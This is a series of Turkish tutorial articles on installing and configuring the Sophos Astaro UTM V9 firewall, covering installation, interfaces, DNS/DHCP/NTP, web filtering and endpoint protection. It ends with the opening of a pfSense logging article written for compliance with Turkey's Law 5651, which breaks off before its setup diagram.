Güvenlik

Sophos Astaro Endpoint Protection Kurulumu ve Yapılandırması-Bölüm5

2013-05-05T16:29:00Z

Merhaba bu makalemde sizlere Sophos Astaro V9 Firewall ile birlikte gelen bir diğer önemli özellik olan Sophos Endpoint Protection kurulumunu ve yapılandırılmasını anlatacağım. Bildiğimiz üzere piyasa bulunan bir çok firewall yazılımına özel Endpoint Protection softwareları mevcut. Tabiki her biri birbirine göre oldukça marifetli yazılımlar fakat Sophos bu konuda farkını ortaya koymuş ve diğerlerinden farklı bir çok özelliği kullanıcılarına sunmuş. İşte size bu gelişmiş yazılımın clientlara kurulumunu yapılandırılmasını ve gruplara özel policyler nasıl oluşturabileceğinizi anlatacağım.

Web Management konsolumuzu açıyoruz. Sol menümüzde bulunan Endpoint Protection’ a geliyoruz. Default olarak disable durumda gelmektedir bu yüzden Global Tabından Enable ediyoruz.

Clientlarımıza kuracağımız agentlarımızı Sophos’ un resmi sitesinden download etmeliyiz. Bunun için bize iki farklı kurulum paketi sunmaktadır. İlki Slim Installation Package, bu pakete sadece kurulum için gereken dosyaları içermektedir. Böylelikle kurulumu yaptıkdan sonra gerken diğer paketleri otomatik olarka çekecektir. İkincisi Full İnstallation Package, bu pakete bütün güvenlik güncellemeleri ve bileşenlerini içeren bir kurulum paketidir. Bu paketleri indirmek için ya Download Slim İnstaller butonuna yada Download Full İnstaller butonuna basarak veya aşalarında bulunan linklerden indirebilirsiniz. Bu paketleri buton ile yada link ile indirdiğinizde aslında burada oluşturulmuş olan link sizin Sophos Astaro ürünüzün belirli olan ID’ si ilen download edilmektedir. Böylelikler agentların kurulu olduğu client bilgisayarları nereye giderlerse gitsinler (örn: Laptop) üzerlerinde bulunan policyler herzaman geçerli ve aktif olmaktadır. Böylelikle real time özelliği aktif durumda olucaktır ve koruma sağlayacaktır.

Ben Slim İnstaller Package’ ını indiriyorum...

Bu indirdiğiniz paketi kaydet diyerek devam ediyoruz. Clientlarımıza bu indirdiğimiz paketi dağıtacağız.

Endpoint Yazılımımızı client’ ımıza kurulumunu gerçekleştiriyoruz. Next diyerek devam ediyoruz.

Burada bize kuruluma başlamadan önce 3.party bir antivirüs yazılımı bulunuyorsa kurulumu yapması için daha önceden kurulu olan antivirüs yazılımını kaldırılmasını belirtiyor. Burada bulunan Remove conflicting third party security software kurucuğunu işaretleyerek mevcut olan diğer yazılımları kendisinin kaldırmasını sağlıyoruz, Install diyerek kurulumu başlatıyoruz.

Kuruluma başladık Slim paket olduğundan mevcut 6 bileşen ile kurulum yapmakta. Full paketinde 19 bileşen bulunmaktadır. Artık kurulumun tamamlanmasını bekliyoruz.

Endpoint Agent kurulumumuzu bitirdik. Finish diyerek Sophos Endpoint Security konsolumuzu görebiliriz.

Endpoint Security arayüzümüzü görüyoruz. Burada bulunan iyi özelliklerden biride bizler GPO ile kullanıcılarda yönetdiğimiz Device Controls özelliğidir. Artık Clientlara uygulanacak policyleri yazmaya başlayabiliriz.

Sophos Astaro Web Management konsolumuzu açıyoruz, Endpoint Protection’ a geliyoruz. Gördüğünüz gibi Endpoint Agentımızın kurulu olduğu clientlarımızı görebiliyoruz. Burada şuanda clietımızda oturum açmış kullanıcımızı client pc’ nin şuanda mevcut lokasyonu (Turkey- Istanbul) ve durumunu görebiliyoruz. Bir clientımızda (Alert) durumda olduğunu görüyoruz. Alt kısımda Action Description kısmında bulunan tehdit’ in ne olduğunu görebiliyoruz. Resolve All diyerek virüsü veya malware’ ı temizliyoruz.

Artık Clientlarımız için gruplar oluşturarak o gruba dahil olan clientlarımız için policyler oluşturacağız. Bunun için ilk önce Grup oluşturmalıyız. Endpoint Protection – Manage Groups Tabına geliyoruz ve Add Computers Group diyoruz. Oluşturacağımız grubumuza bir isim veriyoruz. Antivirus Policy kısmında Basic Protection’ ı seçiyoruz. Clientlarımızda bulunan aygıtlarıda kontrol edeceğimizden Device policy kısmında Full Access’ i seçiyoruz. Tamper Protection kısmında clientların ayarlarda değişiklik yapmasını engellemek için Enable diyoruz. Computers kısmında bu gruba dahil edeceğimiz Client PC’ lerimizi ekliyoruz ve Save diyerek kaydediyoruz.

Advanced Tabına geliyoruz. Burada Değişiklik yapılmasına karşı aktif ettiğimiz Tamper Protection için yönetici olarak bir şifre belirliyoruz ve Apply diyoruz. Default Computers Group kısmında belirlediğimiz Tamper Protection şifremizin otomatik olarak hangi grup’ daki bilgisayarlara eklenecekse o grubu seçiyoruz. Sophos LiveConnect – Registration kısmında ürünümüzün ve agent yüklü pclerimizin kayıt bilgilerinin otomatik tutulan Sophos’ a ait veritabanında bulunan fiş numarasını değiştirmek için Reset Registration Token butonuna basabilirsiniz fakat bu fiş ile kayıt altına alınmasını itiyorum Apply diyerek kayıt ediyoruz.

Artık clientlarımızda bulunan Endpoint Agentlarımızda Antivirus Policy’ de Basic Protection olarak belirlediğimiz policy’ mizi oluşturuyoruz. Bunun için Endpoint Protection’ ın altında bulunan Antivirus kısmına geliyoruz burada Policies Tabında Add policy diyoruz. Oluşturacağımız policymize bir isim veriyoruz. On-access scanning kısmında enable yapıyoruz ve taramayı aktif ediyoruz. Automatic Clean Up kısmında enable yapıyoruz ki policy mize göre otomatik temizleme işlemini yapabilsin. Sophos Live Protection kısmında Enable yapıyoruz ve real time korumayı devreye alıyoruz. Suspicious behaviour kısmında clientlarda olan şüpheli durumlarda bildirimleri aktif etmek için Enable diyoruz. Web Protection kısmında web korumasını aktif etmek için Enable ediyoruz. Block malicious sites kutucuğunu işaretliyerek zararlı sitelere erişimi engellemeyi aktif ediyoruz.Download scanning kutucuğunuda işaretleyerek downloadlarda tarama özelliğini aktif ediyoruz. Scheduled scanning kısmında clientlarda taramalarda bir zamanlama ayarlaya bilirsiniz. Policymizi ouşturduk Save diyerek kaydediyoruz.

Endpoint Protection kısmında en başta belirttiğim etkili bir özellik Device Controls’ a geldik. Policies Tabında gördüğünüz üzere iki farklı seçenek bulunmakta Blocked All ve Full Access biz ilk policymiyizi oluştururken Device Policy’ ye Full Access demiştik hatırlarsanız şimdi artık bir device policy oluşturalım. Burada bir çok aygıt yönetimi mevzut görüldüğü gibi. Bunun için Add Policy butonuna geliyoruz.

İlk önce bu policymize bir isim veriyoruz. Storage Devices kısmında bulunan Floopy Drive, Optical Drive, Removable Storage ve Encrypted Storage bulunmakta. Ben Floopy sürücüsünü kapatıyorum. Optic sürücümüzü sadece Read Only olmasını istiyorum. Taşınabilir USB bellekleri kullanamabilmelerini istemiyorum onu da kapatıyorum. Aynı şekilde Bitlockerla şifrelenmiş veya encrypt edilmiş taşınabilir bellekleride kullanıma kapatıyorum. Network Devices kısmında Modem olan bizim Network Interface Card’ ımızın ağa bağlanacaklarından dolayı Allowed ediyorum. Taşınabilir Pc’ ler olan Wireless adaptörü bulunuyor bu yüzden farklı networklere bağlanmasını veya farklı bir IP adresini almasını engellemek için wireless’ ı da kapatıyorum. Short Range Devices adından da anlaşıldığı gibi kısa mesafe aygıtları bunlar Bluetooth ve Infraned aynı şekilde bunlarında kullanımı kapatıyorum, Save diyerek policy mi oluşturuyorum.

Artık oluşturduğumuz bu Aygıt Kuralını uygulayacağımız clientlarımıza dağıtalım. Bunun için Endpoint Protection’ da Computer Management’ a geliyoruz burada Manage Groups tabına geliyoruz ve daha önce oluşturduğumuz grubumuzu edit leyerek Device Policy kısmında oluşturduğumuz kendi kuralımızı belirtiyoruz ve Sace diyerek kaydediyoruz. Client’ lara policy’ nin uygulanma süresi default olarak 5dk. Dır tabi siz kendinize göre ayarlayabilirsiniz.

Evet, arkadaşlar size Sophos Astaro V9 Firewall üzerinde Endpoint Protection özelliğinin nasıl aktif edileceğini agent’ ı nereden download edebileceğimizi, kurulumunu ve yapılandırmasını anlattım. Sophos’ un bu özelliği çok kullanışlı ve gerçektende çok performanslı bir kuruma sağlamaktadır. Tabiki üzerine yazacağınız policyler clientların üzerindeki tehditleri size bilgilendirme e-mail i olarakda iletebilmektedir.

Umarım sizlere faydalı olacaktır...

Sophos Astaro V9 Firewall Web Protection Yapılandırması-Bölüm4

2013-05-05T16:26:00Z

Merhabalar bu makalemde sizlere Astaro V9 Firewall’ un en önemli özelliklerinden “Web Protection” yapılandırmasını ve nasıl yapılandıracağınızı kısaca bir kaç örnek ile sizlere anlatmaya çalışacağım. Bildiği üzere bizlerin şirketlerimizde uygulamamız gereken en önemli konulardan biride Web & Application Filtering yapmamızdır. İşte Sophos’ un Astaro ürününde web protection’ ın yapılandırmasını yapacağız.

Astaro Web Managemen Konsolumuzu açıyoruz. Sol tarafda bulunan yönetimsel araçlar kısmında gördüğünüz üzere Web Protection aracımıza geliyoruz. Burada Web Filtering’ e geliyoruz. Burada Allowed networkskısmında web filtrelemenin hangi networkde uygulanacağını belirliyoruz. Ben clientlarıma web filtreleme uygulayacağımdan dolayı “İnternal(Network)” ümü ekliyorum. Aşağıda gördüğünüz gibi Scan HTTPS (SSL) Traffickutucuğu bulunmaktadır. Bu kutucuk default olarak boş gelmektedir fakat bildiğiniz üzere artık web sitelerine erişirken nasıl http://www.facebook.com diyerek erişim sağlayabiliyorsak https://www.facebook.com yazarakda erişim sağlayabiliyoruz. Tabiki her web sitesini kendi güvenlik politikamız gereği yasaklamak bile HTTPS koyarak clientlar bu filtrelemeri atlatabiliyorlar. İşte bu Scan HTTPS (SSL) Traffic kutucuğunu işaretleyerek clientların HTTPS koyarak girme teşebbüslerinide engellemiş oluruz. Altta bulunan Standard Mode, Transparent Mode ve Full transparent özellikleri başka bir makalemde sizlere uygulamalı olarak anlatacağım. Transparent Mode seçeneğini seçiyoruz. Authentication Mode kısmında Browser’ ı seçiyoruz. Allowed Users\Groups kısmında buraya eklediğiniz kullanıcılar veya gruplar web filtrelemesi uygulanmadan çıkacaklardır Buraya ekleyeceğiniz kişileri ve ya grupları doğru belirlemelisiniz. Örn : (Domain Admins) gbi. Ben herkeze bu kural geçerli olsun istediğimden bir kişi veya grup belirlemiyorum.

Antivirüs/Malware Tabında bulunan Use Antivirus Scanning kutucuğunu işaretleyerek web trafiği üzerinde antivirüs, kötü amaçlı yazılımlar, solucanlar ve download işlemlerini kontrol eder. Tabiki bu olayda iki farklı metot kullanır. Single Scan (Maximum Performance) seçilerek tarama seviyesi yüksek olmayarak performans sağlar. Dual Scan (Maximum Security) seçilerek iki farklı tarama motoru kullanır ve maximum güvenlik sağlar.

File Extention Filter kısmında dosyaların uzantılarınada bakarak engellemeler yapabilirsiniz. Default olarak mevcut dosya uzantıları zaten bulunmakta tabi bunlara sizde (+) butonuna gelerek farklı uzantılarda ekleyebilirsiniz.

URL Filtering Tabında istediğimiz içerik filtrelemesini burada yapacağız. İlk başta ya burada belirleyeceğimiz kriterlere göre izin vereceğiz yada bloklayacağız bunun için Allow content that does not match the criteria below. yada Block content that does not match the criteria below. Seçeneğini belirliyoruz. Ben burada belirleyeceğim kriterlerde bloklama yapacağımdan Block seçeneğini seçiyorum. Aşağıda bulunan Block these website categories kısmında bloklayacağım web sitelerinin kategorilerini belirliyorum. Burada bulunan kategorileri kendinize göre belirleye bilirsiniz. Sağ tarafda bulunan Additional URLs/sites to block kısmına hangi kategoriye girdiğini bilmediğiniz veya belirlediğiniz kategoriye izin verdiniz fakat o kategoride bulunan bir web sitesine erişim sağlamasını istemiyorsunuz işte onu bu kısıma girerek engelleye bilir veya ilk başta belirlediğiniz politikaya göre izin verebilirsiniz. Örneğin ben facebook’ un hangi kategoriye girdiğini bilmiyorum bunun için Additional URLs/sites to block kısmına http://www.facebook.com adresini ekliyorum. Yahut tam tersi olarak yasakladığımız bir kategoride erişime izin vermek istediğimiz web sitelerini erişilebilir hala getirmek istiyorsak Always allow these URLs/sites kısmında girebiliriz. Users/Groups allowed to bypass blocking kısmında bu kısıtlamalara dahil edilmeyecek kulanıcı veya grupları buraya ekleyerek kuralları pas geçerek erişim sağlamalarını sağlıyoruz.

Belirlediğimiz kuralımızı test etmek için http://www.facebook.com adresine erişim sağlamaya çalıştım ve görüldüğü gibi Content Blocked uyarı ile karşılaştık. Buda içerik filtrelmemizin başladığını gösteriyor.

Tabi blokladığımız URL kategorilerinde bazı önemli applicationların otomatik updatelerini çektiği siteleride engellemiş olabiliyoruz bu yüzden applicationlar önemli updateleri web sitelerinden download edemeyecek ve güncellemeleri yapamamaktadır. İşte bu yüzden uygulamaların updateleri çekebileceği web siteleri kısıtlamalardan ayrı tutmamız gerekiyor. Bunun için Exception kısmına geliyoruz. Default olarak gelen Application Update Website ları mevcut işte bu kısımda sizlerinde uygulamaların otomatik updateleri download edebileceği siteleri buraya eklerek filtrelemeden ayrı tutulmasını sağlayabilirsiniz.

Artık Application filtrelemesi için Web Protection’ ın altında Application Control’ a geliyoruz. Burada ilk olarak Network Visibility tabına geliyoruz ve aktif ediyoruz. Böylelikle kuralları belirleyebileceğiz.

Application Control Rules Tabında New Rule diyerek yeni bir uygulama kuralı oluşturuyorum. Açılan kısımda ilk olarak bu kurala bir isim veriyoruz. Action kısmında izin mi yoksa yasak mı konulacağını belirliyoruz. Ben yasaklıyacağım için Block diyorum. Control by engelliyeceğim bir uygulama olduğundan Applications’ ı seçiyorum. Control these Applicatios kısmında klasör butonuna basarak engelleyeceğim uygulamayı ekliyorum, ben Live Messenger’ ı engelleyeceğim onun için Windows Live’ ı ekliyorum. For kısmında nereden ve nasıl erişimi engelleyebileceğimizi belirliyoruz Any diyerek clientların içeriden hiç bir şekilde erişmelerini engelliyorum.

Kendi oturumumu açmaya çalışıyorum fakat açamıyorum. Gördüğünüz gibi bunun gibi birçok application’ ı engelleye bilir veya application’ ın çalışmasını fakat görüşme yapmasını engelleyebilirsiniz bu sizin filtreleme politikanıza kalmış.

Evet, arkadaşlar sizlere Sophos Astaro V9 ürününün Web Protection özelliğini nasıl kullanacağınızı ve nasıl yapılandıracağınıza dair bilgi vermeye çalıştım.

Umarım sizlere faydalı olacaktır...

Sophos UTM Astaro V9.0 Firewall Network Service Yapılandırması–Bölüm3

2013-05-05T16:23:00Z

Merhabalar bu makalemde sizlere Sophos Firewall cihazında Network Servisinin yapılandırmasını anlatacağım. Sophos üzerinde gelen özelliklerden Network Service içeriğinde DNS, DHCP ve NTP Roleleri bulunmaktadır. Bu rollerin neler yaptıklarını genel olarak biliyor. İşte bu makalemizde bu Network Service’ de bu rollerin konfigürasyonunu ve ne özelliklere sahip olacağını sizlere anlatacağım.

Sophos Web Management konsolomuzu açıyoruz. Sol tarafta bulunan yönetimsel ayarlarımızdan Network Services’ i genişletiyoruz. Burada gördüğünüz üzere ilk özelliğimiz olan DNS’ e geliyoruz. Eğer yapınızda mevcut bir DNS Server’ ınız varsa bu kısımı tabiki boş bırakabilirsiniz. Fakat ben test ortamında yaptığımdan dolayı ortamımda bir DNS Sunucum mevcut değil. İşte burada DNS Server özelliğini kullanabiliyoruz. Gördüğünüz gibi bir folder ikonu bulunmakta bu folder ikonuna bastığınızda hangi networklerin DNS hizmetinden yararlanmasını istiyorsak bu alana ekliyoruz. Tabi (+) ikonuna bastığınızda da yeni networkler ekleyebilirsiniz. Böylelikle network’ ümüzdeki DNS Server görevinide firewall’ umuz üstlenmiş olacaktır.

Forwarders Tabında içeriden gelen DNS isteklerini yapımızda veya dışarıdan ISP hizmetlerini aldığımız DNS Sunucularımızı ekleyerek ve yönlendirerek daha hızlı çözümleme yapabilmemizi sağlayacaktır. Bunun için daha önceden eklediğiniz DNS’ler var ise gene folder ikonundan ekleyebilirsin veya + işaretine basarak kendinizde ekleyebilirsiniz.

Request Routing Tabında DNS sorgularımız nereden dış dünyaya çıkacağını belirliyoruz. Yani modemimiz dışarıya açılan kapımız yani modemiz. Gördüğünüz gibi yapımızda olan mevcut internet bağlantılarımızı buraya ekleyerek dns sorgularımızı internete erişimini sağlayarak çözümlenmesini sağlayacağız.

DHCP kısmında gördüğünüz gibi belli başlı yapılandırmalarımız mevcut ilk önce DHCP Server özelliğini sağlayıcak olan network adaptörümüzü belirlemeliyiz. Bunun için Interface kısmında nic’ imizi yani internal adaptörümüzü seçiyoruz. IP adres aralığımızı belirlemek için Range Start ve Range End kısmına dağıtılabilecek IP aralığımızı belirliyoruz. DNS Server kısmında mevcut dns adreslerimizi belirtiyoruz. Clientlara dağıtılın IP’ ler de internete erişim sağlamaları için firewall’ umuzun iç bacak ip adresini ekliyoruz. Domain kısmında mevcut yapımız bir domain yapısıysa etki alanımızı giriyoruz. DHCP Serverda nasıl clientlara verilen her ip adresinin bir mevcut kira süresi varsa burada clientlara verilen ip adresinin kira süresini Lease Time kısmından ayarlıyoruz. Advanced kısmında bulunan ayarları yapılandırabilirsiniz.Enable HTTP Proxy Auto Configuration kutucuğunu işaretleyerek bütün clientlardan gelen bütün internet erişim isteklerini otomatik olarak belirlediğimiz ayarları alacaktır. Clients via DHCP relay agent kutucuğu aslında DHCP Relay Agent farklı bir makale konusu ama kısaca bahsedeyim, DHCP Relay Agent farklı bir subnetteki DHCP Server’dan kendi subnetimizdeki kullanıcılara IP aldırmamızı sağlar. Relay Agent olacak makine bir bilgisayar da olabilir bir Router’da olabilir. Basit olarak DHCP Relay Agent kendi subnet’indeki kullanıcıların DHCP Broadcast’lerini yakalayarak bunları Unicast’e çevirip yetkili DHCP Server’a gönderir. Bunu eğer bir ipsec veya pptp bağlantılarımız var ise işaretlemeliyiz...

DHCP de Options Tab’ ında default olarak TFTP bootfile ve TFTP Server ve NTP Time Server disable gelecektir. Biz sonraki özelliğimiz NTP Rolü olduğundan NTP Server özelliğini enable eddiyoruz. NTP (Network Time Protocol) Server’ ın amacı zaman bazli kuralların uygulana bilmesi için gereken bir roldür. Cisco gb. Cihazlarda dahili saat bulunmadığından cihazlar kapatilip açildiginda üzerinde bulunan saati kaybedip varsayilan zaman degerine dönmektedir. İşte bu yüzden cihaz varsayilan degerine döndügü için cihaz üzerinde zaman bazli yazilan kurallar çalisamaz hale gelmekte. Bu yüzden cihazlara harici zaman kaynagi göstermek için cihazlarin zaman ve tarih bilgileri baska bir kaynaktan alabilmeleri saglayan protocol NTP (Network Time Protocol) dir. Bu yüzden aktif ediyoruz.

NTP alanına geldiğimizde hangi networklerden NTP Server’ a erişim sağlanacak ise bu alandan ekleyerek belirlediğimiz networklerdeki cihazların zaman bilgisini alabileceklerdir. Böylelikle yeniden başlatılan üzerinde dahili saat bulunmayan cihazlar kaldıkları yerden devam edebileceklerdir.

Sizlere Sophos Astaro Firewall üzerinde Network Services yapılandırmasını anlatmaya çalıştım gelişmiş konfigürasyonlarını daha ileri uygulamalarda nasıl yapılandırılacağına tekrardan değineceğim.

Umarım sizlere faydalı olacaktır...

Sophos Astaro UTM V9 Üzerine Network Interfacelerinin Eklenmesi ve Yapılandırılması–Bölüm2

2013-05-05T16:21:00Z

Merhaba arkadaşlar bir önceki makalemde Sophos Astaro UTM ürünümüzün kurulumunu gerçekleştirmiştik. Bu makalemde sizlere network adaptörlerimizi nasıl tanımlayacağımızı anlatacağım. Bildiğimiz gibi network adaptörlerini tanıtarak yapılandırmak kendi yapımıza ve işleyişine göre değişiklik göstermektedir.

Kendi yapıma göre bütün local network’ ümün trafiğini Astaro üzerinden filtreleyip yöneteceğimden dolayı External bir network adaptörü ekleyip yapılandıracağım.

Astaro Management Konsolumuzu açıyoruz. Sol taraf da bulunan yönetim menülerimizde Interfaces & Routing menümüze geliyoruz.

Interfaces & Routing Menümüzde Interfaces linkimize geliyoruz. Burada New Interface butonuna geliyoruz. Burada bir çok özellik mevcut ve yapılandırıldıklarında çok iyi performanslar sağlayacaklar tabi ki bütün özellikleri sizlere ilerleyen zamanlarda anlatacağım.

Gördüğünüz üzere Type kısmında bağlantı tiplerimiz bulunuyor. İşte yapımıza göre bağlantı tipimizi ayarlamamız gerekiyor. Network kartımızın üzerinde bulunan bağlantı tipimizi belirliyoruz. Benim yapımda modemim üzerinden gelen network bağlantısı üzerinden NAT yapacağımdan dolayı oluşturacağım network adaptör tipi’ mi Cable Modem(DHCP) olarak seçiyorum.

Hardware kısmından sunucumuz üzerinde external network adaptörü yapacağımız interface’ imizi seçiyoruz. IPv4 Default GW kutucuğunu işaretliyorum böylelikle gateway’ i modem üzerinden alacaktır. Commentkısmına birçok interface tanımlarsanız yaptığınız işlemi bu interface’ i ne diye kullandığınızı tanımlayan bir özet yazabilirsiniz.

Advanced kısmında Hostname kısmına domain’ imizin adını belirtiyoruz. MTU (Maxsimum İletim Birimi) bu kısımda fiziksel kartın taşıya bileceği maximum veri miktarı’ dır. Aşağıda Protokollerin MTU’ larını sizlere veriyorum.

Protocol MTU [HYPERchannel 65,535] [Token Ring(16Mbps)=17,914] [Token Ring(4Mbps)=4,464] [FDDI=4,352] [Ethernet=1,500] [X.25=5,76] [PPP=296]

Biz Ethernet teknolojisini kullandığımızdan MTU değiri 1500 olmalıdır. Proxy ARP kutucuğunun amacı ağımızda kullanıcı makinelerimiz, birden fazla ağ geçidine sahip olmayabileceği için bu ağ geçidinin devre dışı kalması durumunda makine,otomatik olarak başka router'a göndermeye başlamayacaktır. Proxy ARP, routing veya bir varsayılan ağ geçidi dahi yapılandırmadan, bir subnet' teki makinelerin, uzak subnet'lere erişmesine yardımcı olur. Eğer yapımız geniş ve bir çok subnet’den oluşuyorsa kutucuğu işaretleyerek yapılandıra bilirsiniz. Displayed max kısmına görülebilicek maxsimum

Asymmetric kutucuğu geniş bant kullanımları için yaptığımız genelde veri gönderim hızını düşük tutup, alış hızını arttırmak suretiyle bağlantıları daha da hızlandırabiliriz. Asymmetric kutucuğunu işaretlerseniz Displayed max kısmına görülebilecek maximum bağlantı hızını ayarlayabilirsiniz.

Advanced kısmında şimdilik herhangi bir değişiklik yapmıyorum Save diyerek kartımızı yapılandırarak eklemiş olalım.

Network kartımızı ekledik den sonra yuvarlak ile işaretlediğim kısım ilk olarak disable durumda gelecektir. İşaretlediğim butona basarak etkinleştiriyoruz ve IP almasını sağlıyoruz. Gördüğünüz gibi Modemimiz üzerinden IP aldı ve artık çalışır durumda.

Evet, arkadaşlar sizlere bu makalemde network adaptörlerimizi nasıl ekleyebileceğimizi ve ayarlarını anlatmaya çalıştım. Bir sonraki makalemde sizlere Network Service yapılandırmasını anlatacağım. Umarım sizlere faydalı olacaktır…

Sophos UTM Astaro Firewall V9.0 Özellikleri ve Kurulumu–Bölüm1

2013-05-05T16:20:00Z

Merhabalar bu makalemde sizlere UTM Firewall’ lardan olan Sophos Astaro UTM özelliklerini ve kurulumunu anlatacağım.

Bildiği gibi şirketlerde bulunan en büyük sorun yapının ve mimarinin nekadar güvenli olduğudur.

UTM, Unified Threat Management / Birleştirilmiş Tehdit Yönetimi bir kurumun temel bir bakışla iç network veya dış çıkışları için kontrol edilmesi ve emin olunması gereken başlıca husus web filtrelemenin ve yoğun mail trafiği içinde anti spam blocker kurulumlarının ve denetimlerinin yapılması gerekir. Tabikide bunları yapmak yetmek. Bu konularda en ince ayrıntıya kadar girilmesi gerekmektedir.

Sizlere anlatacağım bu ürün yazılımsal ve donanımsal olarak satılıyor. Sophos’ un bu ürünü üzerinde bir çok tool’ luy la beraber gelmektedir. Gereken konfigürasyonları doğru ve ayrıntılı yapmanız sayesinde şirket içinde ve network’ ünde yüksek güvenlik sağlayacaksınızdır.

Sizlere bundan sonraki makalelerimde bu ürünün bütün özelliklerini ve toollarını nasıl kullanıp konfigüre edeceğinizi anlatacağım.

Bu ürün üzerinde bulunan özelliklerden bahsedeyim.

Kurulum tamamlandıkdan sonra Network Protection, Web Protection, Email Protection, Endpoint Protection, Wireless Protection, WebServer Protection, Site to Site VPN, Remote Access ve yüksek detaylı loglama ve monitoring özellikleri kullanabileceksiniz ve bu özeliklerin içerisinde bir çok ayrıntı barındırıyor.

Bu makalemde yazılımsal olarak kurulumunu gerçekleştireceğim. Tabiki her UTM cihaında olması gerektiği gibi sistem özellikleride önemlidir. Sistem gereksinimleri yüksek olmamakla birlikde üzerindeki özellikleri performanslı olarak kullanabilmek içinde sistem özelliklerininde iyi olmasında fayda var.

Artık kuruluma geçelim…

Firewall kurulumu yapacağımız makinamızı kurulum CD’ mizden başlatıyoruz ve kurulum için bu pencerede ENTER tuşuna basarak devam ediyoruz.

Uyarıyor kurulumla beraber kurulumun yapılacak olan hard disk’ in üzerindeki verilerin silineceğini ve başka bir yazılımla desteklenmeyeceğini bildiriyor. START diyerek devam ediyoruz.

Donanımlarımız bulunuyor…

Kurulum yaptığımız makinada bulunan donanımları listeledi OK diyerek devam ediyoruz.

Klavye düzenimizi seçiyoruz ve OK diyerek devam ediyoruz.

Select Timezone penceresinden zaman dilimizi ve konumumuzu belirliyoruz ve next diyerek devam ediyoruz…

Date and Time penceresinde saat ve tarihi belirliyoruz ve Next diyerek devam ediyoruz…

Select Admin Interface penceresinde gördüğünüz gibi makinamız üzerinde bulunan NIC’ leri görüyoruz. Local network’ den yönetim konsolumuza bağlanacağımız interface’ imizi seçiyoruz ve Next diyerek devam ediyoruz.

Network Configuration penceresinde yönetimsel network interface’ imizi konfigüre ediyoruz. Local Network bacağımıza IP sini ve Subnetmask’ ımızı tanımlıyoruz. Gateway opsiyonel dir farklı bir firewallumuz varsa ve entegre çalıştıracaksak onun adresini Gateway olarak verebiliriz Örneğin (Juniper Firewall Modem) üzerinden de geçirebilirsiniz. Benim tek firewall’ um olduğundan dolayı Gateway vermiyorum NEXT diyerek devam ediyorum.

64 Bit Kernal Support penceresinde işlemcinin 64-Bit desteği varsa 64-Bit kurulum yapmanın performansda daha artış olacağını belirtiyor. Benim işlemcimin 64-Bit desteği olduğundan YES diyerek devam ediyorum fakat sizin işlemcinizin 64-Bit desteği bulunmuyorsa NO diyerek 32-Bit kurulum yapmasına devam edebiliriz.

Enterprise Toolkit penceresinde lisanslama gerekliliğinde Enterprise Toolkitlerinin kurulumuna dair bilgilendirme veriyor. Bu sürümdeki tüm özellikleri ve toolkitlerinin kurulumunu isteyip istemediğimizi soruyor. Bütün özelliklerin kurulumunu istiyorum ve YES diyerek devam ediyorum.

Installation : Partitioning penceresinde a rtık kuruluma başlıyacak bunun için uyarıyor. Bu işleme devam edersek hard disk üzerinde bulunan tüm verilerin silineceğini ve devam edip etmeyeceğimizi soruyor. YESdiyerek devam ediyoruz.

Formatting penceresinde 6 adımdan oluşuyor. Harddiskimizi formatlıyor ve kurulumu gerçekleştirmeye başladı artık…

Installation Finished penceresinde kurulumumuzun tamamlandığını görüyoruz. Makinamızı reboot ettikden sonra yönetim konsolumuza Browser’ dan erişim adresimizi görüyoruz. https://192.168.245.2:4444adresinden erişim sağlayacağız REBOOT diyerek makinamızı yeniden başlatıyoruz…

Makinamızı yeniden başlattık ve üzerinde bulunan servislerin başlatıldığını ve yüklendiğini görüyoruz. Artık yönetim konsolumuza web browser üzerinden erişelim…

Web browser üzerinden yönetim konsolumuza eriştik. Basit kurulumumuzu dolduruyoruz ve onaylıyoruz.

Artık Yönetim Konsolumuzun arayüzünü görüyoruz. Bundan sonraki bütün konfigürasyonları bu Web konsoldan gerçekleştireceğiz.

Evet arkadaşlar Sophos Astaro Firewall kurulumumuzu gerçekleştirdik bundan sonraki makalemde sizlere konfigürasyonları ve ayarları nasıl yapacağımızı anlatacağım.

Umarım sizlere faydalı olacaktır…

PFSense 5651 Yasasına Uygun Loglama Modülü Kurulumu ve İmzalanması

2013-04-28T14:52:00Z

Merhaba Arkadaşlar bu makalemizde PFSense üzerinde 5651 yasasına göre loglama işlemlerinin nasıl yapılacağını ve modülünün kurulumunu yapacağım.

5651 Yasası Nedir?

ÇözümPark üzerinde bu konu hakkında birçok makale mevcuttur fakat kısaca açıklamamız gerekirse İç ağımızda dağıtılan IP adres bilgilerini, kullanıma başlama, bitiş tarihi, saati ve bu ip adreslerini kullanan bilgisayarların MAC Adreslerini gösteren kayıtları Elektronik ortam’da saklanması ve oluşan logları zaman damgası ile birlikte günlük olarak imzalatmamız 1 yıl boyunca saklamamız gerekmektedir.

PFSense Nedir ?

PFSense ( Packet Filter ) Freebsd tabanlı ücretsiz olarak dağıtılan Open Source güvenlik duvarı yazılımıdır.

TIB5651 Modulü Nedir ve Nasıl Çalışır ?

Yasanın bizden istemiş olduğu logları toplar ve 5651 yasasına uygun hale getirip belirlediğiniz zaman dilimleri arasında Sunucularınıza veya PFSense üzerinde herhangi bir dizine aktarımını tamamlayabilirsiniz.İsterseniz opsiyonel olarak alınan logların bir kopyasını e-posta adresinize göndertebilirsiniz.

Klasik tanımlarımızı yaptıktan sonra daha önce PFSense kullandığınızı ve bu aşamaya geldiğinize göre modülümüz hakkında bilgi vermek istiyorum.

- Otomatik ve Elle girilen ip adreslerinin loglarını gönderir.
- DHCP,Squid loglarını toplar ve ilgili dizine gönderir.
- Samba Client ile Windows işletim sistemlerine log aktarımını yapabilirsiniz.
- 2 Adet log dosyası oluşturur. 1. Log dosyamız yasamıza uygun olan içindir. Alternatif olarak sistem yöneticileri içinde ayrıntılı bir log daha oluşturur.
- SMTP desteği ile logları eposta olarak göndertebilirsiniz.
- Birden fazla interface destekler.
-Cron ile istediğiniz zaman diliminde log aktarımlarınızı yapabilirsiniz.

PFSense Paket Yönetimin’den yüklememiz gereken paketler ;

-Squid
-Squid Guard
-Cron

Loglarımızın Windows bilgisayarlarımıza aktarılması ve E-Posta olarak gönderilmesi için Freebsd tarafında yüklememiz gereken paketler ;

-Talloc (2.0.7)
-Samba Client (3.6.7)
-Net SMTP

Yukarıdaki modüllerin sürümleri parantez içinde belirtilmiştir.

Logları aktaracağımız Windows bilgisayarımızda Tib Log İmzalayıcı yazılımın yüklü olması gerekmektedir.

Kuruluma geçmeden önce yapımız ve modül sonrası oluşacak network şemamız hakkında aşağıdaki gibi bir grafik hazırladım.

